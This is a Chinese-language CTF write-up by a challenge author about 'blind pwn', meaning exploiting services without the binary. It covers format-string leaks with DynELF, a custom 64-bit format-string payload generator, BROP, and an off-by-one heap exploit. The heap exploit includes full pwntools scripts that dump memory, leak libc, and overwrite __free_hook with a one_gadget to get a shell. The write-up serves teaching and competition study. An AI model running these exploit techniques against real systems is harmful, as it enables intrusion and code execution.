blind-pwn是一种黑盒pwn的模式,也就是比赛的时候不给你提供二进制文件,让你实现dump文件或者不dump文件泄露部分信息的目的...
其实16年就已经有比较多的blind-pwn的赛题以及文章分析了,作为第二届安洵杯出题人,发现blind-pwn没有什么合适的堆区利用黑盒pwn,所以在这个基础上做一个总结以及创新.
所有代码/文件都会标注出文件名,同时附件里面也有对于每道题更加详细的wp,附件下载即可
目录为fmt32
格式化字符串漏洞,是最经典的blind pwn.它通过格式化字符串漏洞,泄露内存中的地址.
这里有两种做法,有的做法具有局限性,有的是通用的,但是很耗时间
第一种做法:
在确定偏移的过程中,需要小心一个问题
就是计算偏移的时候,存在一个问题就是,我们要保证偏移量足够,就一定要前面增加一个字节的垃圾数据
dump下来的程序是没法运行(没有SHT,dump下来的时候是通过EOF来进行判断结尾的,但是SHT的偏移是0x18dc但是程序运行的时候,是不会把这些数据载入到地址上的)
丢进ida中,还是可以直接当成一个二进制文件进行分析的,而64位不可...后面会有64位的打开方法
第二种做法:--dyn.exp.py
思路不变,但是不dump程序,用dynelf机制进行泄露system地址,getshell
这里有个局限性就是,需要能够有不断开连接,循环泄露内存的条件,但是其实在黑盒pwn的实战中,一般都是存在断开连接,地址复用(一些主流web框架会有),所以利用DYNELF并不常用,但是针对于这道题目来说,确实最合适,最快的解题方案
核心代码如下
def leak(addr): result = '' while(len(result)< 4): sh.sendafter('Please tell me:', '%16$s#\n\0'.ljust(0x21, '\0') +p32(addr + len(result)) + '\0') sh.recvuntil('Repeater:') result +=sh.recvuntil('#\n', drop=True) + '\0' log.info(hex(addr) + ' => ' + hex(u32(result[:4]))) return result[:4] libc = DynELF(leak, 0x8048000) libc_addr = u32(leak(0x804a010)) - 0xd4350 log.success('libc_addr: ' + hex(libc_addr)) system_addr = libc.lookup('system', 'libc') log.success('system_addr: ' + hex(system_addr))
目录为fmt64
64位其实和32位的区别并不大,思路也是同样的
第一个问题,dump下来的文件ida是无法直接分析
载入的时候需要设置一下...
同时第二个问题需要注意的是
64位的格式化字符串,是无法避免出现\x00的情况的,scanf,printf都默认认为\x00是字符串结尾,所以这里我根据pwntools的源码,进行了修改,自创了一个函数,用来反序覆盖地址
def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'): config = { 32 : { 'byte': (4, 1, 0xFF, 'hh', 8), 'short': (2, 2, 0xFFFF, 'h', 16), 'int': (1, 4, 0xFFFFFFFF, '', 32)}, 64 : { 'byte': (8, 1, 0xFF, 'hh', 8), 'short': (4, 2, 0xFFFF, 'h', 16), 'int': (2, 4, 0xFFFFFFFF, '', 32) } } if write_size not in ['byte', 'short', 'int']: log.error("write_size must be 'byte', 'short' or 'int'") number, step, mask, formatz, decalage = config[context.bits][write_size] payload = "" payload_last = "" for where,what in writes.items(): for i in range(0,number*step,step): payload_last += pack(where+i) fmtCount = 0 payload_forward = "" key_toadd = [] key_offset_fmtCount = [] for where,what in writes.items(): for i in range(0,number): current = what & mask if numbwritten & mask <= current: to_add = current - (numbwritten & mask) else: to_add = (current | (mask+1)) - (numbwritten & mask) if to_add != 0: key_toadd.append(to_add) payload_forward += "%{}c".format(to_add) else: key_toadd.append(to_add) payload_forward += "%{}${}n".format(offset + fmtCount, formatz) key_offset_fmtCount.append(offset + fmtCount) #key_formatz.append(formatz) numbwritten += to_add what >>= decalage fmtCount += 1 len1 = len(payload_forward) key_temp = [] for i in range(len(key_offset_fmtCount)): key_temp.append(key_offset_fmtCount[i]) x_add = 0 y_add = 0 while True: x_add = len1 / 8 + 1 y_add = 8 - (len1 % 8) for i in range(len(key_temp)): key_temp[i] = key_offset_fmtCount[i] + x_add payload_temp = "" for i in range(0,number): if key_toadd[i] != 0: payload_temp += "%{}c".format(key_toadd[i]) payload_temp += "%{}${}n".format(key_temp[i], formatz) len2 = len(payload_temp) xchange = y_add - (len2 - len1) if xchange >= 0: payload = payload_temp + xchange*'a' + payload_last return payload; else: len1 = len2
这样子,大家比赛的时候,遇到64位的格式化字符串就可以轻松的,调用函数,直接一键生成payload了...嘿嘿
文件目录为brop
brop是利用rop不断循环的爆破出地址,条件就是要求可以不停的重连,这个比较常见,但是如果说搭建pwn题环境的时候,就需要配置一下系统设置
brop这类题目,不是特别适合在比赛中,因为特别浪费时间,适合为在实战中路由器的黑盒拿到路由器终端作为一种新的思路
思路主要是这样子
那么在这个过程一定要记住一个核心的东西,就是爆破的过程中,容易出现某些地址符合条件,但是却不符合其它条件的情况,所以该题比较浪费时间
举个例子:
这里会发现一个问题,我们的puts_plt = 0x400635 在前面都是正确的,因为代码的确会执行到puts的函数的功能,但是我们在实际查看dump下来的文件的时候,我们会发现这个
很巧的就是这个0x400635是在plt表的开头,然后puts正好是衔接着开头的,所以实际的plt的地址应该是后面那个,不信,可以改掉前面的635->640,是完全都可以运行的
文件目录为offbyone
发现网上没有这一类的题目,所以自创了一道,也算是抛砖引玉,并且安洵杯决赛打的效果还比较好,希望,自己能再研究出一些新blindpwn题
题目分析
首先测试程序的基本功能,分析结构,尝试dump内存
首先是要了解过off by one这种漏洞原理,我们发现,读取字符串的函数是scanf
我们要知道scanf的问题是什么?是它会在输入的字符串最后加\x00,所以在这里,我们出现了单字节溢出的问题
盲打小贴士:
为什么读取字符串的函数是scanf,通过,测试,输入特殊符号,不会显示,直接中断,所以是scanf
然后发现输入并没有限制长度...所以这里,可以利用上这种漏洞
利用这个漏洞,泄露出内存
泄露内存的时候,测试是否开启了空间地址随机化,然后发现没有,如果有的话,那就使用mmap申请大内存空间的解法...
泄露出内存,dump出文件
找到一个got表地址,泄露出libc基地址
然后考虑使用one_gadget去覆盖free_hook或者malloc_hook
dump脚本编写
如果以文件尾作为dump结束的话,在挂载程序的时候可能出现无限泄露,可以考虑加上范围限制,这个要根据具体的情况考虑,这里暂时就无限泄露,ctrl+C断开
通过单字节溢出,以及精心伪造一个堆chunk结构,实现任意地址泄露内存
偏移量这里解释一下,由于一个chunk头部都会有0x10个字节用来存放pre_size和size,所以偏移量是0x1000-0x10
#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * #context.log_level = 'debug'#critical/debug p = process("./buy") f = open("buybin", "ab+") #f = open("64weiba", "ab+") def writename(name): io.recvuntil("(1~32):") io.sendline(name) def namechange(name): io.recvuntil("Your choice:") io.sendline("6") io.recvuntil("(1~32):") io.sendline(name) def add(name_size,name,des_size,des): io.recvuntil("Your choice:") io.sendline("1") io.recvuntil(".") io.sendline(str(name_size)) io.recvuntil(".") io.sendline(name) io.recvuntil(".") io.sendline(str(des_size)) io.recvuntil(".") io.sendline(des) def displayall(): io.recvuntil("Your choice:") io.sendline("3") io.recvuntil("Your choice:") io.sendline("1") io.recvuntil(32*"a") #io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1 book1_addr = io.recvuntil("\'s",drop=True) book1_addr = book1_addr.ljust(8,'\x00') book1_addr = u64(book1_addr) #print hex(book1_addr) io.recvuntil("des address is ") return book1_addr def change(index,name,desrcript): io.recvuntil("Your choice:") io.sendline("2") io.recvuntil("index is ") io.sendline(str(index)) io.recvuntil("y's name.\n") io.sendline(name) io.recvuntil("y's desrcription.") io.sendline(desrcript) def displayall_getdump(index): io.recvuntil("Your choice:") io.sendline("2") io.recvuntil("index is ") io.sendline(str(index)) io.recvuntil("name is ") addr = io.recvuntil("\n",drop=True) #addr = addr.ljust(8,'\x00') #addr = u64(addr) return addr begin = 0x400000 offset = 0 i=0 while True:#i<13:#True:# addr = begin + offset try: io = process("./buy") #get the first heap address writename("a"*32) add(4200,"spring",12,"aaa") first_heap_addr = displayall() print '[*] first_heap_addr is ' + hex(first_heap_addr) #first_heap_addr = 0x605040 ''' int name_size; char *name; int des_size; char *desrcript; ''' #get dump test displayall() #first heap pre_size size 0x10 ljust_offset = 4096 - 16 print '[*] ljust_offset is ' + hex(ljust_offset) payload_des_dump = ljust_offset *'c' + p64(12) + p64(addr) + p64(12) + p64(addr) #payload_des_dump = 0xfff * 'c' #pause() change(0,"spring",payload_des_dump) namechange("a"*32) #gdb.attach(io) info = displayall_getdump(0) print '[*] info is ' + info io.close() except EOFError: print "offset is " + hex(offset) break if len(info)==0: print "info is null" offset += 1 f.write('\x00') else: info += "\x00" offset += len(info) f.write(info) f.flush() i = i + 1 print "offset is " + str(offset) f.close() p.close() #'''
dump出来的程序,需要找到一个函数的got表地址就行了,这样就可以计算出对应的一个偏移
泄露出来的文件还是不可以被反汇编,但是可以找到很多汇编代码
然后通过去寻找一个函数的plt地址,最好是找puts或者printf,因为题目显示字符串一直在用这两个函数,所以这两个函数使用次数最多,所以肯定比较好分辨
找到puts_got
泄露libc
其实和之前的代码一样,主要的任务就是,但是地址覆盖写在puts_got的地址
#-*- coding:utf-8 –*- from pwn import * from LibcSearcher import LibcSearcher context.log_level='debug' #context(arch = 'i386', os = 'linux', log_level='debug') #context(arch = 'amd64', os = 'linux', log_level='debug') #log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING'] elfFileName = "buy" libcFileName = "" ip = "" port = 0 Debug = 1 if Debug: io = process(elfFileName) else: io = remote(ip,port) #elf = ELF(elfFileName) def writename(name): io.recvuntil("(1~32):") io.sendline(name) def namechange(name): io.recvuntil("Your choice:") io.sendline("6") io.recvuntil("(1~32):") io.sendline(name) def add(name_size,name,des_size,des): io.recvuntil("Your choice:") io.sendline("1") io.recvuntil(".") io.sendline(str(name_size)) io.recvuntil(".") io.sendline(name) io.recvuntil(".") io.sendline(str(des_size)) io.recvuntil(".") io.sendline(des) def displayall(): io.recvuntil("Your choice:") io.sendline("3") io.recvuntil("Your choice:") io.sendline("1") io.recvuntil(32*"a") #io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1 book1_addr = io.recvuntil("\'s",drop=True) book1_addr = book1_addr.ljust(8,'\x00') book1_addr = u64(book1_addr) #print hex(book1_addr) #io.recvuntil("des address is ") return book1_addr def change(index,name,desrcript): io.recvuntil("Your choice:") io.sendline("2") io.recvuntil("index is ") io.sendline(str(index)) io.recvuntil("y's name.\n") io.sendline(name) io.recvuntil("y's desrcription.") io.sendline(desrcript) def displayall_getdump(): io.recvuntil("Your choice:") io.sendline("3") io.recvuntil("Your choice:") io.sendline("1") io.recvuntil("name is ") addr = io.recvuntil("\n",drop=True) addr = addr.ljust(8,'\x00') addr = u64(addr) #io.recvuntil("des address is ") return addr def make_empty(index): io.recvuntil("Your choice:") io.sendline("5") io.recvuntil("Your choice:") io.sendline("2") io.recvuntil("The index is ") io.sendline(str(index)) #get the first heap address writename("a"*32) add(4200,"spring",12,"aaa") add(16,"hello",16,"hello") first_heap_addr = displayall() print '[*] first_heap_addr is ' + hex(first_heap_addr) #first_heap_addr = 0x605040 ''' int name_size; char *name; int des_size; char *desrcript; ''' #get dump test displayall() #first heap pre_size size 0x10 offset = 4096 - 16 print '[*] offset is ' + hex(offset) puts_got = 0x603028 printf_got = 0x603040 payload_got_get = offset *'c' + p64(20) + p64(puts_got) + p64(20) + p64(first_heap_addr+0x78) #payload_des_dump = 0xfff * 'c' #pause() change(0,"spring",payload_got_get) namechange("a"*32) #gdb.attach(io) puts_addr = displayall_getdump() print '[*] puts_addr is ' + hex(puts_addr) #find libc libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') freehook_addr = libc_base + libc.dump('__free_hook') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') print '[*] freehook_addr is ' + hex(freehook_addr) print '[*] system_addr is ' + hex(system_addr) print '[*] binsh_addr is ' + hex(binsh_addr) one_gadget = libc_base + 0x4526a print '[*] one_gadget is ' + hex(one_gadget) change(0,p64(puts_addr),p64(freehook_addr)) change(1,p64(system_addr),p64(system_addr)) make_empty(1) io.interactive()
那么这里,其实我已经给出是错误的exp,但是在测试过程中,可以把one_gadget改成system_addr,这样子,只要能够出现sh报错,就能知道可以选择哪个libc库
我这里是[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
获取one_gadget
安装one_gadget
su root apt-get install ruby apt-get install gem gem install one_gadget
获取libc库的onegadget
找到libcsearch的安装文件夹,找到对应id的libc库
然后执行,命令
one_gadget libc6_2.23-0ubuntu10_amd64.so 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
上面4个,第二个成功了...
exp
#-*- coding:utf-8 –*- from pwn import * from LibcSearcher import LibcSearcher context.log_level='debug' #context(arch = 'i386', os = 'linux', log_level='debug') #context(arch = 'amd64', os = 'linux', log_level='debug') #log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING'] elfFileName = "buy" libcFileName = "" ip = "" port = 0 Debug = 1 if Debug: io = process(elfFileName) else: io = remote(ip,port) #elf = ELF(elfFileName) def writename(name): io.recvuntil("(1~32):") io.sendline(name) def namechange(name): io.recvuntil("Your choice:") io.sendline("6") io.recvuntil("(1~32):") io.sendline(name) def add(name_size,name,des_size,des): io.recvuntil("Your choice:") io.sendline("1") io.recvuntil(".") io.sendline(str(name_size)) io.recvuntil(".") io.sendline(name) io.recvuntil(".") io.sendline(str(des_size)) io.recvuntil(".") io.sendline(des) def displayall(): io.recvuntil("Your choice:") io.sendline("3") io.recvuntil("Your choice:") io.sendline("1") io.recvuntil(32*"a") #io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1 book1_addr = io.recvuntil("\'s",drop=True) book1_addr = book1_addr.ljust(8,'\x00') book1_addr = u64(book1_addr) #print hex(book1_addr) #io.recvuntil("des address is ") return book1_addr def change(index,name,desrcript): io.recvuntil("Your choice:") io.sendline("2") io.recvuntil("index is ") io.sendline(str(index)) io.recvuntil("y's name.\n") io.sendline(name) io.recvuntil("y's desrcription.") io.sendline(desrcript) def displayall_getdump(): io.recvuntil("Your choice:") io.sendline("3") io.recvuntil("Your choice:") io.sendline("1") io.recvuntil("name is ") addr = io.recvuntil("\n",drop=True) addr = addr.ljust(8,'\x00') addr = u64(addr) #io.recvuntil("des address is ") return addr def make_empty(index): io.recvuntil("Your choice:") io.sendline("5") io.recvuntil("Your choice:") io.sendline("2") io.recvuntil("The index is ") io.sendline(str(index)) #get the first heap address writename("a"*32) add(4200,"spring",12,"aaa") add(16,"hello",16,"hello") first_heap_addr = displayall() print '[*] first_heap_addr is ' + hex(first_heap_addr) #first_heap_addr = 0x605040 ''' int name_size; char *name; int des_size; char *desrcript; ''' #get dump test displayall() #first heap pre_size size 0x10 offset = 4096 - 16 print '[*] offset is ' + hex(offset) puts_got = 0x603028 printf_got = 0x603040 payload_got_get = offset *'c' + p64(20) + p64(puts_got) + p64(20) + p64(first_heap_addr+0x78) #payload_des_dump = 0xfff * 'c' #pause() change(0,"spring",payload_got_get) namechange("a"*32) #gdb.attach(io) puts_addr = displayall_getdump() print '[*] puts_addr is ' + hex(puts_addr) #find libc libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') freehook_addr = libc_base + libc.dump('__free_hook') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') print '[*] freehook_addr is ' + hex(freehook_addr) print '[*] system_addr is ' + hex(system_addr) print '[*] binsh_addr is ' + hex(binsh_addr) ''' onegadget 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' one_gadget = libc_base + 0x4526a print '[*] one_gadget is ' + hex(one_gadget) change(0,p64(puts_addr),p64(freehook_addr)) change(1,p64(one_gadget),p64(system_addr)) make_empty(1) io.interactive()
blind pwn的核心是实现泄露内存,从而dump出整个文件
而漏洞可利用在blind pwn上的条件为:
很开心能够通过自创,将blindpwn整理为一个系列,相信未来还有出现更多这类赛题